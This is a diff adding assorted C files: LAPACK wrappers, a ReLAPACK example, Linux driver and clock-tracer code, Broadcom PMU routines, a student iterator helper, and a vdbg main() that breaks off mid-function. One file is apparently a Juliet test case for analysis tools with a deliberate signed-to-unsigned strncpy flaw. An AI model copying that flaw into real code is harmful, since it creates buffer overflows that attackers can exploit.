+  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+  THE POSSIBILITY OF SUCH DAMAGE.
+*****************************************************************************
+* Contents: Native high-level C interface to LAPACK function chpgvd
+* Author: Intel Corporation
+* Generated November 2015
+*****************************************************************************/
+
+#include "lapacke_utils.h"
+
+lapack_int LAPACKE_chpgvd( int matrix_layout, lapack_int itype, char jobz,
+                           char uplo, lapack_int n, lapack_complex_float* ap,
+                           lapack_complex_float* bp, float* w,
+                           lapack_complex_float* z, lapack_int ldz )
+{
+    lapack_int info = 0;
+    lapack_int liwork = -1;
+    lapack_int lrwork = -1;
+    lapack_int lwork = -1;
+    lapack_int* iwork = NULL;
+    float* rwork = NULL;
+    lapack_complex_float* work = NULL;
+    lapack_int iwork_query;
+    float rwork_query;
+    lapack_complex_float work_query;
+    if( matrix_layout != LAPACK_COL_MAJOR && matrix_layout != LAPACK_ROW_MAJOR ) {
+        LAPACKE_xerbla( "LAPACKE_chpgvd", -1 );
+        return -1;
+    }
+#ifndef LAPACK_DISABLE_NAN_CHECK
+    if( LAPACKE_get_nancheck() ) {
+        /* Optionally check input matrices for NaNs */
+        if( LAPACKE_chp_nancheck( n, ap ) ) {
+            return -6;
+        }
+        if( LAPACKE_chp_nancheck( n, bp ) ) {
+            return -7;
+        }
+    }
+#endif
+    /* Query optimal working array(s) size */
+    info = LAPACKE_chpgvd_work( matrix_layout, itype, jobz, uplo, n, ap, bp, w,
+                                z, ldz, &work_query, lwork, &rwork_query,
+                                lrwork, &iwork_query, liwork );
+    if( info != 0 ) {
+        goto exit_level_0;
+    }
+    liwork = iwork_query;
+    lrwork = (lapack_int)rwork_query;
+    lwork = LAPACK_C2INT( work_query );
+    /* Allocate memory for work arrays */
+    iwork = (lapack_int*)LAPACKE_malloc( sizeof(lapack_int) * liwork );
+    if( iwork == NULL ) {
+        info = LAPACK_WORK_MEMORY_ERROR;
+        goto exit_level_0;
+    }
+    rwork = (float*)LAPACKE_malloc( sizeof(float) * lrwork );
+    if( rwork == NULL ) {
+        info = LAPACK_WORK_MEMORY_ERROR;
+        goto exit_level_1;
+    }
+    work = (lapack_complex_float*)
+        LAPACKE_malloc( sizeof(lapack_complex_float) * lwork );
+    if( work == NULL ) {
+        info = LAPACK_WORK_MEMORY_ERROR;
+        goto exit_level_2;
+    }
+    /* Call middle-level interface */
+    info = LAPACKE_chpgvd_work( matrix_layout, itype, jobz, uplo, n, ap, bp, w,
+                                z, ldz, work, lwork, rwork, lrwork, iwork,
+                                liwork );
+    /* Release memory and exit */
+    LAPACKE_free( work );
+exit_level_2:
+    LAPACKE_free( rwork );
+exit_level_1:
+    LAPACKE_free( iwork );
+exit_level_0:
+    if( info == LAPACK_WORK_MEMORY_ERROR ) {
+        LAPACKE_xerbla( "LAPACKE_chpgvd", info );
+    }
+    return info;
+}
diff --git a/pool/shard001/C/0024761_linsys.c b/pool/shard001/C/0024761_linsys.c
new file mode 100644
index 0000000000000000000000000000000000000000..6bfd2037a268849812068f1b271dc3400452bd27
--- /dev/null
+++ b/pool/shard001/C/0024761_linsys.c
@@ -0,0 +1,81 @@
+#include "stdlib.h"
+#include "time.h"
+#include "stdio.h"
+#include "../inc/relapack.h"
+
+// some BLAS and LAPACK prototypes
+void dgemv_(const char *, const int *, const int *, const double *, const double
+        *, const int *, const double *, const int *, const double *, double *,
+        const int *);
+
+void dlaswp_(const int *, double *, const int *, const int *, const int *, const
+        int *, const int *);
+
+void dtrsv_(const char *, const char *, const char *, const int *, const double
+        *, const int *, const double *, const int *);
+
+void daxpy_(const int *, const double *, const double *, const int *, double *,
+        const int *);
+
+double dnrm2_(const int *, const double *, const int *);
+
+const int n = 400;
+
+// This example program generates a random n x n matrix A and a vector x and
+// computes y := A x.  It then retrieves x from A and y by solving the linear
+// system.  The retireved vector (called x2) is then compared to the original x.
+int main(int argc, char *argv[]) {
+    // some constants
+    const double ONE = 1;
+    const double MONE = -1;
+    const int iONE = 1;
+
+    // iterators
+    int i, j;
+
+    // initialize the random number generator
+    srand(time(NULL));
+
+    // generate a random n x n matrix A
+    double *A = malloc(n * n * sizeof(double));
+    for (j = 0; j < n; j++)
+        for (i = 0; i < n; i++)
+            A[i + j * n] = (double) rand() / RAND_MAX;
+
+    // generate a random vector x of size n
+    double *x = malloc(n * sizeof(double));
+    for (i = 0; i < n; i++)
+        x[i] = (double) rand() / RAND_MAX;
+
+    // compute y := A x
+    double *y = malloc(n * sizeof(double));
+    dgemv_("N", &n, &n, &ONE, A, &n, x, &iONE, &ONE, y, &iONE);
+
+    // P L U := A (pivoting LU decomposition)
+    int *ipiv = malloc(n * sizeof(int)); // pivoting vector representing P
+    int info;
+    RELAPACK_dgetrf(&n, &n, A, &n, ipiv, &info);
+
+    // compute y := P^-1 y
+    dlaswp_(&iONE, y, &n, &iONE, &n, ipiv, &iONE);
+
+    // compute y := L^-1 y
+    dtrsv_("L", "N", "U", &n, A, &n, y, &iONE);
+
+    // compute y := U^-1 y
+    dtrsv_("U", "N", "N", &n, A, &n, y, &iONE);
+
+    // compute x := -x + y
+    daxpy_(&n, &MONE, x, &iONE, y, &iONE);
+
+    // compute norm = ||x||_2
+    double norm = dnrm2_(&n, y, &iONE);
+
+    printf("error 2-norm: %f\n", norm);
+
+    // free the matrix and vectors
+    free(A);
+    free(x);
+    free(y);
+    free(ipiv);
+}
diff --git a/pool/shard001/C/0024762_pcl724.c b/pool/shard001/C/0024762_pcl724.c
new file mode 100644
index 0000000000000000000000000000000000000000..3ef4b37ca5353bb72d3712d0084e2acc64f44945
--- /dev/null
+++ b/pool/shard001/C/0024762_pcl724.c
@@ -0,0 +1,197 @@
+
+#include "../comedidev.h"
+
+#include <linux/ioport.h>
+#include <linux/delay.h>
+
+#include "8255.h"
+
+#define PCL722_SIZE    32
+#define PCL722_96_SIZE 16
+#define PCL724_SIZE     4
+#define PCL731_SIZE     8
+#define PET48_SIZE      2
+
+#define SIZE_8255	4
+
+
+static int pcl724_attach(struct comedi_device *dev,
+			 struct comedi_devconfig *it);
+static int pcl724_detach(struct comedi_device *dev);
+
+struct pcl724_board {
+
+	const char *name;	
+	int dio;		
+	int numofports;		
+	unsigned int IRQbits;	
+	unsigned int io_range;	
+	char can_have96;
+	char is_pet48;
+};
+
+static const struct pcl724_board boardtypes[] = {
+	{"pcl724", 24, 1, 0x00fc, PCL724_SIZE, 0, 0,},
+	{"pcl722", 144, 6, 0x00fc, PCL722_SIZE, 1, 0,},
+	{"pcl731", 48, 2, 0x9cfc, PCL731_SIZE, 0, 0,},
+	{"acl7122", 144, 6, 0x9ee8, PCL722_SIZE, 1, 0,},
+	{"acl7124", 24, 1, 0x00fc, PCL724_SIZE, 0, 0,},
+	{"pet48dio", 48, 2, 0x9eb8, PET48_SIZE, 0, 1,},
+};
+
+#define n_boardtypes (sizeof(boardtypes)/sizeof(struct pcl724_board))
+#define this_board ((const struct pcl724_board *)dev->board_ptr)
+
+static struct comedi_driver driver_pcl724 = {
+	.driver_name = "pcl724",
+	.module = THIS_MODULE,
+	.attach = pcl724_attach,
+	.detach = pcl724_detach,
+	.board_name = &boardtypes[0].name,
+	.num_names = n_boardtypes,
+	.offset = sizeof(struct pcl724_board),
+};
+
+static int __init driver_pcl724_init_module(void)
+{
+	return comedi_driver_register(&driver_pcl724);
+}
+
+static void __exit driver_pcl724_cleanup_module(void)
+{
+	comedi_driver_unregister(&driver_pcl724);
+}
+
+module_init(driver_pcl724_init_module);
+module_exit(driver_pcl724_cleanup_module);
+
+static int subdev_8255_cb(int dir, int port, int data, unsigned long arg)
+{
+	unsigned long iobase = arg;
+
+	if (dir) {
+		outb(data, iobase + port);
+		return 0;
+	} else {
+		return inb(iobase + port);
+	}
+}
+
+static int subdev_8255mapped_cb(int dir, int port, int data,
+				unsigned long iobase)
+{
+	int movport = SIZE_8255 * (iobase >> 12);
+
+	iobase &= 0x0fff;
+
+	if (dir) {
+		outb(port + movport, iobase);
+		outb(data, iobase + 1);
+		return 0;
+	} else {
+		outb(port + movport, iobase);
+		return inb(iobase + 1);
+	}
+}
+
+static int pcl724_attach(struct comedi_device *dev, struct comedi_devconfig *it)
+{
+	unsigned long iobase;
+	unsigned int iorange;
+	int ret, i, n_subdevices;
+#ifdef PCL724_IRQ
+	unsigned int irq;
+#endif
+
+	iobase = it->options[0];
+	iorange = this_board->io_range;
+	if ((this_board->can_have96) && ((it->options[1] == 1)
+					 || (it->options[1] == 96)))
+		iorange = PCL722_96_SIZE; 
+	printk(KERN_INFO "comedi%d: pcl724: board=%s, 0x%03lx ", dev->minor,
+	       this_board->name, iobase);
+	if (!request_region(iobase, iorange, "pcl724")) {
+		printk("I/O port conflict\n");
+		return -EIO;
+	}
+
+	dev->iobase = iobase;
+
+	dev->board_name = this_board->name;
+
+#ifdef PCL724_IRQ
+	irq = 0;
+	if (this_board->IRQbits != 0) {	
+		irq = it->options[1];
+		if (irq) {	
+			if (((1 << irq) & this_board->IRQbits) == 0) {
+				printk(KERN_WARNING
+				       ", IRQ %u is out of allowed range, "
+				       "DISABLING IT", irq);
+				irq = 0;	
+			} else {
+				if (request_irq
+				    (irq, interrupt_pcl724, 0, "pcl724", dev)) {
+					printk(KERN_WARNING
+					       ", unable to allocate IRQ %u, "
+					       "DISABLING IT", irq);
+					irq = 0;	
+				} else {
+					printk(", irq=%u", irq);
+				}
+			}
+		}
+	}
+
+	dev->irq = irq;
+#endif
+
+	printk("\n");
+
+	n_subdevices = this_board->numofports;
+	if ((this_board->can_have96) && ((it->options[1] == 1)
+					 || (it->options[1] == 96)))
+		n_subdevices = 4;	
+
+	ret = alloc_subdevices(dev, n_subdevices);
+	if (ret < 0)
+		return ret;
+
+	for (i = 0; i < dev->n_subdevices; i++) {
+		if (this_board->is_pet48) {
+			subdev_8255_init(dev, dev->subdevices + i,
+					 subdev_8255mapped_cb,
+					 (unsigned long)(dev->iobase +
+							 i * 0x1000));
+		} else
+			subdev_8255_init(dev, dev->subdevices + i,
+					 subdev_8255_cb,
+					 (unsigned long)(dev->iobase +
+							 SIZE_8255 * i));
+	}
+
+	return 0;
+}
+
+static int pcl724_detach(struct comedi_device *dev)
+{
+	int i;
+
+	
+
+	for (i = 0; i < dev->n_subdevices; i++)
+		subdev_8255_cleanup(dev, dev->subdevices + i);
+
+#ifdef PCL724_IRQ
+	if (dev->irq)
+		free_irq(dev->irq, dev);
+#endif
+
+	release_region(dev->iobase, this_board->io_range);
+
+	return 0;
+}
+
+MODULE_AUTHOR("Comedi http://www.comedi.org");
+MODULE_DESCRIPTION("Comedi low-level driver");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0024767_clk-tracer.c b/pool/shard001/C/0024767_clk-tracer.c
new file mode 100644
index 0000000000000000000000000000000000000000..72f688d592d21cc850c7d59defc0850c51c24ae3
--- /dev/null
+++ b/pool/shard001/C/0024767_clk-tracer.c
@@ -0,0 +1,124 @@
+/*
+ * OMAP3 Clock load tracer
+ *
+ * Copyright (C) 2010 Nokia Corporation
+ * Tero Kristo
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/device.h>
+#include <linux/errno.h>
+#include <linux/clk.h>
+#include <linux/io.h>
+#include <linux/input.h>
+
+#include <plat/clock.h>
+#include <plat/display.h>
+
+#include "clock.h"
+#include "clk-tracer.h"
+
+#define CLKOPS_SLOT_AMT 4
+
+struct clock_data {
+	int load;
+	u32 idle;
+	u32 active;
+	u32 idle_save;
+	u32 active_save;
+	u32 timestamp;
+	u32 last_switch;
+	const struct clkops *saved_ops;
+};
+
+static const struct clkops *clk_tracer_saved_ops[CLKOPS_SLOT_AMT];
+static struct clkops clk_tracer_ops[CLKOPS_SLOT_AMT];
+static int clk_tracer_used_ops;
+
+static int clk_tracer_clk_enable(struct clk *clk)
+{
+	struct clock_data *d;
+	if (clk->data) {
+		d = (struct clock_data *)clk->data;
+		d->idle += jiffies - d->last_switch;
+		d->last_switch = jiffies;
+		return d->saved_ops->enable(clk);
+	}
+	return 0;
+}
+
+static void clk_tracer_clk_disable(struct clk *clk)
+{
+	struct clock_data *d;
+	if (clk->data) {
+		d = (struct clock_data *)clk->data;
+		d->active += jiffies - d->last_switch;
+		d->last_switch = jiffies;
+		d->saved_ops->disable(clk);
+	}
+}
+
+void clk_tracer_register_clk(struct clk *clk)
+{
+	int i;
+	struct clock_data *d;
+
+	if (!clk)
+		return;
+
+	d = kzalloc(sizeof(struct clock_data), GFP_KERNEL);
+	clk->data = d;
+
+	/* find clkops slot */
+	for (i = 0; i < clk_tracer_used_ops; i++) {
+		if (clk->ops == clk_tracer_saved_ops[i])
+			break;
+	}
+	if (i == clk_tracer_used_ops) {
+		if (clk_tracer_used_ops == CLKOPS_SLOT_AMT) {
+			WARN(1, "clk-tracer: out of clkops slots\n");
+			return;
+		}
+		clk_tracer_saved_ops[i] = clk->ops;
+		memcpy(clk_tracer_ops + i, clk->ops, sizeof(struct clkops));
+		clk_tracer_ops[i].enable = clk_tracer_clk_enable;
+		clk_tracer_ops[i].disable = clk_tracer_clk_disable;
+		clk_tracer_used_ops++;
+	}
+	clk->ops = clk_tracer_ops + i;
+	d->saved_ops = clk_tracer_saved_ops[i];
+}
+
+int clk_tracer_get_load(struct clk *clk)
+{
+	u32 t;
+	u32 j_act;
+	struct clock_data *d;
+
+	d = (struct clock_data *)clk->data;
+
+	if (!d)
+		return 0;
+
+	if (jiffies - d->timestamp >= HZ / 10) {
+		t = jiffies - d->timestamp;
+		j_act = d->active - d->active_save;
+
+		if (clk->usecount)
+			j_act += jiffies - d->last_switch;
+
+		d->idle_save = d->idle;
+		d->active_save = d->active;
+		d->timestamp = jiffies;
+		if (j_act > t)
+			d->load = 100;
+		else
+			d->load = j_act * 100 / t;
+	}
+	return d->load;
+}
diff --git a/pool/shard001/C/0024768_hndpmu.c b/pool/shard001/C/0024768_hndpmu.c
new file mode 100644
index 0000000000000000000000000000000000000000..112879bd9f3793840ac0d58b1d2d0120fc9a04f3
--- /dev/null
+++ b/pool/shard001/C/0024768_hndpmu.c
@@ -0,0 +1,131 @@
+/*
+ * Misc utility routines for accessing PMU corerev specific features
+ * of the SiliconBackplane-based Broadcom chips.
+ *
+ * Copyright (C) 1999-2010, Broadcom Corporation
+ * 
+ *      Unless you and Broadcom execute a separate written software license
+ * agreement governing use of this software, this software is licensed to you
+ * under the terms of the GNU General Public License version 2 (the "GPL"),
+ * available at http://www.broadcom.com/licenses/GPLv2.php, with the
+ * following added to such license:
+ * 
+ *      As a special exception, the copyright holders of this software give you
+ * permission to link this software with independent modules, and to copy and
+ * distribute the resulting executable under terms of your choice, provided that
+ * you also meet, for each linked independent module, the terms and conditions of
+ * the license of that module.  An independent module is a module which is not
+ * derived from this software.  The special exception does not apply to any
+ * modifications of the software.
+ * 
+ *      Notwithstanding the above, under no circumstances may you combine this
+ * software in any way with any other Broadcom software provided under a license
+ * other than the GPL, without Broadcom's express prior written consent.
+ *
+ * $Id: hndpmu.c,v 1.95.2.17.4.11.2.57 2010/02/01 05:51:56 Exp $
+ */
+
+#include <typedefs.h>
+#include <bcmdefs.h>
+#include <osl.h>
+#include <bcmutils.h>
+#include <siutils.h>
+#include <bcmdevs.h>
+#include <hndsoc.h>
+#include <sbchipc.h>
+#include <hndpmu.h>
+
+/* debug/trace */
+#define	PMU_ERROR(args)
+
+#define	PMU_MSG(args)
+
+
+/* SDIO Pad drive strength to select value mappings */
+typedef struct {
+	uint8 strength;			/* Pad Drive Strength in mA */
+	uint8 sel;			/* Chip-specific select value */
+} sdiod_drive_str_t;
+
+/* SDIO Drive Strength to sel value table for PMU Rev 1 */
+static const sdiod_drive_str_t sdiod_drive_strength_tab1[] = {
+	{4, 0x2},
+	{2, 0x3},
+	{1, 0x0},
+	{0, 0x0} };
+
+/* SDIO Drive Strength to sel value table for PMU Rev 2, 3 */
+static const sdiod_drive_str_t sdiod_drive_strength_tab2[] = {
+	{12, 0x7},
+	{10, 0x6},
+	{8, 0x5},
+	{6, 0x4},
+	{4, 0x2},
+	{2, 0x1},
+	{0, 0x0} };
+
+#define SDIOD_DRVSTR_KEY(chip, pmu)	(((chip) << 16) | (pmu))
+
+void
+si_sdiod_drive_strength_init(si_t *sih, osl_t *osh, uint32 drivestrength)
+{
+	chipcregs_t *cc;
+	uint origidx, intr_val = 0;
+	sdiod_drive_str_t *str_tab = NULL;
+	uint32 str_mask = 0;
+	uint32 str_shift = 0;
+
+	if (!(sih->cccaps & CC_CAP_PMU)) {
+		return;
+	}
+
+	/* Remember original core before switch to chipc */
+	cc = (chipcregs_t *) si_switch_core(sih, CC_CORE_ID, &origidx, &intr_val);
+
+	switch (SDIOD_DRVSTR_KEY(sih->chip, sih->pmurev)) {
+	case SDIOD_DRVSTR_KEY(BCM4325_CHIP_ID, 1):
+		str_tab = (sdiod_drive_str_t *)&sdiod_drive_strength_tab1;
+		str_mask = 0x30000000;
+		str_shift = 28;
+		break;
+	case SDIOD_DRVSTR_KEY(BCM4325_CHIP_ID, 2):
+	case SDIOD_DRVSTR_KEY(BCM4325_CHIP_ID, 3):
+	case SDIOD_DRVSTR_KEY(BCM4315_CHIP_ID, 4):
+		str_tab = (sdiod_drive_str_t *)&sdiod_drive_strength_tab2;
+		str_mask = 0x00003800;
+		str_shift = 11;
+		break;
+
+	default:
+		PMU_MSG(("No SDIO Drive strength init done for chip %x rev %d pmurev %d\n",
+		         sih->chip, sih->chiprev, sih->pmurev));
+
+		break;
+	}
+
+	if (str_tab != NULL) {
+		uint32 drivestrength_sel = 0;
+		uint32 cc_data_temp;
+		int i;
+
+		for (i = 0; str_tab[i].strength != 0; i ++) {
+			if (drivestrength >= str_tab[i].strength) {
+				drivestrength_sel = str_tab[i].sel;
+				break;
+			}
+		}
+
+		W_REG(osh, &cc->chipcontrol_addr, 1);
+		cc_data_temp = R_REG(osh, &cc->chipcontrol_data);
+		cc_data_temp &= ~str_mask;
+		drivestrength_sel <<= str_shift;
+		cc_data_temp |= drivestrength_sel;
+		W_REG(osh, &cc->chipcontrol_data, cc_data_temp);
+
+		PMU_MSG(("SDIO: %dmA drive strength selected, set to 0x%08x\n",
+		         drivestrength, cc_data_temp));
+	}
+
+	/* Return to original core */
+	si_restore_core(sih, origidx, intr_val);
+}
diff --git a/pool/shard001/C/0024774_init_base.c b/pool/shard001/C/0024774_init_base.c
new file mode 100644
index 0000000000000000000000000000000000000000..9107ac5eff1f59469b856ab39c0c2aee5c60c50a
--- /dev/null
+++ b/pool/shard001/C/0024774_init_base.c
@@ -0,0 +1,49 @@
+/*
+** init_base.c for zappy_bibicy in /home/lefevr_u/GIT/zappy/Zappy/Server
+** 
+** Made by ulric lefevre
+** Login   <lefevr_u@epitech.net>
+** 
+** Started on  Sat Jun 23 20:24:15 2012 ulric lefevre
+** Last update Sat Jun 23 20:24:16 2012 ulric lefevre
+*/
+
+#include	<string.h>
+#include	<stdlib.h>
+#include	"iter.h"
+
+t_iter		*init_iter_def(t_iter *this)
+{
+  if (this)
+    {
+      this->data = NULL;
+      this->len = 0;
+      this->next = NULL;
+      this->prev = NULL;
+    }
+  return (this);
+}
+
+t_iter		*init_iter_woa(t_iter *this, void *param)
+{
+  if (this)
+    this->data = param;
+  return (this);
+}
+
+t_iter		*init_iter_param(t_iter *this, void *param, size_t len)
+{
+  if (this)
+    {
+      if (param && len)
+	{
+	  this->data = malloc(len);
+	  if (this->data)
+	    {
+	      this->data = memcpy(this->data, param, len);
+	      this->len = len;
+	    }
+	}
+    }
+  return (this);
+}
diff --git a/pool/shard001/C/0024778_CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22a.c b/pool/shard001/C/0024778_CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22a.c
new file mode 100644
index 0000000000000000000000000000000000000000..31a5a8770d1a3422d981bd2cd12fbb676a5e487d
--- /dev/null
+++ b/pool/shard001/C/0024778_CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22a.c
@@ -0,0 +1,142 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22a.c
+Label Definition File: CWE195_Signed_to_Unsigned_Conversion_Error.label.xml
+Template File: sources-sink-22a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 195 Signed to Unsigned Conversion Error
+ * BadSource: fscanf Read data from the console using fscanf()
+ * GoodSource: Positive integer
+ * Sink: strncpy
+ *    BadSink : Copy strings using strncpy() with the length of data
+ * Flow Variant: 22 Control flow: Flow controlled by value of a global variable. Sink functions are in a separate file from sources.
+ *
+ * */
+
+#include "std_testcase.h"
+
+#ifndef OMITBAD
+
+/* The global variable below is used to drive control flow in the source function */
+int CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_badGlobal = 0;
+
+int CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_badSource(int data);
+
+void CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_bad()
+{
+    int data;
+    /* Initialize data */
+    data = -1;
+    CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_badGlobal = 1; /* true */
+    data = CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_badSource(data);
+    {
+        char source[100];
+        char dest[100] = "";
+        memset(source, 'A', 100-1);
+        source[100-1] = '\0';
+        if (data < 100)
+        {
+            /* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
+             * the sign conversion could result in a very large number */
+            strncpy(dest, source, data);
+            dest[data] = '\0'; /* strncpy() does not always NULL terminate */
+        }
+        printLine(dest);
+    }
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* The global variables below are used to drive control flow in the source functions. */
+int CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B1Global = 0;
+int CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B2Global = 0;
+
+/* goodG2B1() - use goodsource and badsink by setting the static variable to false instead of true */
+int CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B1Source(int data);
+
+static void goodG2B1()
+{
+    int data;
+    /* Initialize data */
+    data = -1;
+    CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B1Global = 0; /* false */
+    data = CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B1Source(data);
+    {
+        char source[100];
+        char dest[100] = "";
+        memset(source, 'A', 100-1);
+        source[100-1] = '\0';
+        if (data < 100)
+        {
+            /* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
+             * the sign conversion could result in a very large number */
+            strncpy(dest, source, data);
+            dest[data] = '\0'; /* strncpy() does not always NULL terminate */
+        }
+        printLine(dest);
+    }
+}
+
+/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if in the source function */
+int CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B2Source(int data);
+
+static void goodG2B2()
+{
+    int data;
+    /* Initialize data */
+    data = -1;
+    CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B2Global = 1; /* true */
+    data = CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_goodG2B2Source(data);
+    {
+        char source[100];
+        char dest[100] = "";
+        memset(source, 'A', 100-1);
+        source[100-1] = '\0';
+        if (data < 100)
+        {
+            /* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
+             * the sign conversion could result in a very large number */
+            strncpy(dest, source, data);
+            dest[data] = '\0'; /* strncpy() does not always NULL terminate */
+        }
+        printLine(dest);
+    }
+}
+
+void CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_good()
+{
+    goodG2B1();
+    goodG2B2();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+ * its own for testing or for building a binary to use in testing binary
+ * analysis tools. It is not used when compiling all the testcases as one
+ * application, which is how source code analysis tools are tested.
+ */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_strncpy_22_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0024782_main.c b/pool/shard001/C/0024782_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..8f66502cf0b3bdd1852f24881a77017c37b889a2
--- /dev/null
+++ b/pool/shard001/C/0024782_main.c
@@ -0,0 +1,129 @@
+/* =====================================================================================
+ * 
+ * The Visual Debugger (vdbg)
+ * 
+ * Copyright (C) 2015 Jonas Møller <jonasmo441@gmail.com>
+ *
+ * This file is part of vdbg.
+ *
+ * vdbg is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 3
+ * as published by the Free Software Foundation.
+ *
+ * vdbg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License version 3 for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * version 3 along with vdbg. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * =====================================================================================
+ */
+
+#include <config.h>
+#include <dbg.h>
+#include <stdlib.h>
+#include <SDL2/SDL.h>
+#include <SDL2/SDL_ttf.h>
+
+#define FONTDIR DATADIR "/fonts"
+#define DEFAULT_FONT_PATH FONTDIR "/default.ttf"
+#define NOTICE \
+    PACKAGE_STRING " Copyright (C) 2015 Jonas Møller <" PACKAGE_BUGREPORT ">\n" \
+    PACKAGE_NAME " is free software, free as in freedom.\n" \
+    "You may redistribute and/or modify it under the terms of the GNU GPL.\n\n"
+#define FONT_SIZE 18
+#define WINDOW_WIDTH 600
+#define WINDOW_HEIGHT 650
+
+static SDL_Window *g_window;
+static SDL_Renderer *g_renderer;
+static TTF_Font *g_font;
+
+static const char USAGE[] = "";
+static const int RENDERER_OPTIONS = SDL_RENDERER_ACCELERATED | SDL_RENDERER_PRESENTVSYNC;
+static const int WINDOW_OPTIONS = SDL_WINDOW_SHOWN;
+static const uint32_t SDL_INIT_OPTIONS = SDL_INIT_EVERYTHING;// SDL_INIT_VIDEO | SDL_INIT_EVENTS | SDL_INIT_TIMER;
+static const int WINDOW_POS_X = SDL_WINDOWPOS_CENTERED;
+static const int WINDOW_POS_Y = SDL_WINDOWPOS_CENTERED;
+static const char WINDOW_TITLE[] = "vdbg";
+/* Both are initially set to erronous values */
+static int sdl_init_ret = 1;
+static int ttf_init_ret = -1;
+
+int dbg(const char *path);
+
+#define panic(s, ...) \
+    ({fprintf(stderr, "%s: ", __func__); \
+      fprintf(stderr, s, ##__VA_ARGS__); \
+      puts(""); \
+      abort();})
+
+int initGraphics(const char *title, int w, int h, int fontsize)
+{
+    if ((sdl_init_ret = SDL_Init(SDL_INIT_EVERYTHING)) != 0)
+        fprintf(stderr, "Unable to initialize SDL, SDL Error: %s\n", SDL_GetError());
+    else if ((ttf_init_ret = TTF_Init()) == -1)
+        fprintf(stderr, "Unable to initialize TTF, TTF Error: %s\n", TTF_GetError());
+    else if ((g_window = SDL_CreateWindow(title, WINDOW_POS_X, WINDOW_POS_Y, w, h, WINDOW_OPTIONS)) == NULL)
+        fprintf(stderr, "Unable to create SDL window, SDL Error: %s\n", SDL_GetError());
+    else if ((g_renderer = SDL_CreateRenderer(g_window, -1, RENDERER_OPTIONS)) == NULL)
+        fprintf(stderr, "Unable to create SDL renderer, SDL Error: %s\n", SDL_GetError());
+    else if ((g_font = TTF_OpenFont(DEFAULT_FONT_PATH, fontsize)) == NULL)
+        fprintf(stderr, "Unable to load font, TTF error: %s\n", TTF_GetError());
+    else
+        /* No errors have occured */
+        return 0;
+
+    return -1;
+}
+
+static void cleanupGraphics(void)
+{
+    if (sdl_init_ret == 0)
+        SDL_Quit();
+    if (ttf_init_ret != -1)
+        TTF_Quit();
+}
+
+/* TODO: Add some basic command line arguments using getopt */
+int main(int argc, char *argv[])
+{
+    if (argc >= 2) {
+        fprintf(stderr, NOTICE);
+
+        /* Get arguments passed as environment variables */
+        int width = WINDOW_WIDTH, height = WINDOW_HEIGHT, new_width, new_height, new_fontsize, fontsize = FONT_SIZE;
